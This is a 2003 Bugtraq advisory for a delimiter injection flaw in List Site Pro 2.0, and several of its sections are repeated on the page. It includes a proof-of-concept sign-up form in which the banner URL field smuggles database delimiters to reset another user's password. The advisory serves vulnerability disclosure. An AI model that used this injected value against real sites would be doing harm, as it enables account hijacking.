List Site Pro User Database Delimiter Injection Vulnerability
BID:6685
Info
List Site Pro User Database Delimiter Injection Vulnerability
| Bugtraq ID: | 6685 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 24 2003 12:00AM |
| Updated: | Jan 24 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been creditied to : Statix <[email protected]> |
| Vulnerable: |
List Site Pro List Site Pro 2.0 |
| Not Vulnerable: | |
Discussion
List Site Pro User Database Delimiter Injection Vulnerability
List Site PRO is a top site ranking system that counts hits from member sites and then ranks them according to the number of hits.
A problem has been reported for List Site PRO that would allow an attacker to inject arbitrary values via html input form fields into the underlying flat-file database used by List Site PRO.
List Site PRO is a top site ranking system that counts hits from member sites and then ranks them according to the number of hits.
A problem has been reported for List Site PRO that would allow an attacker to inject arbitrary values via html input form fields into the underlying flat-file database used by List Site PRO.
Exploit / POC
List Site Pro User Database Delimiter Injection Vulnerability
A proof of concept exploit was provided by StatiX <[email protected]>
A malicious user could sign up like this:
username:username
email:[email protected]
url:www.url.com
bannerurl:www.site.com/banner.gif ||password|%User_ID%|60|468
banner height:68
banner width:460
password:pass
To reset the sites,specified by %User_ID%,password to 'password'.
A proof of concept exploit was provided by StatiX <[email protected]>
A malicious user could sign up like this:
username:username
email:[email protected]
url:www.url.com
bannerurl:www.site.com/banner.gif ||password|%User_ID%|60|468
banner height:68
banner width:460
password:pass
To reset the sites,specified by %User_ID%,password to 'password'.
Solution / Fix
List Site Pro User Database Delimiter Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
List Site Pro User Database Delimiter Injection Vulnerability
References:
References:
- List Site Pro (List Site Pro)
- List Site Pro v2 user account Hijacking vulnerablity (Statix)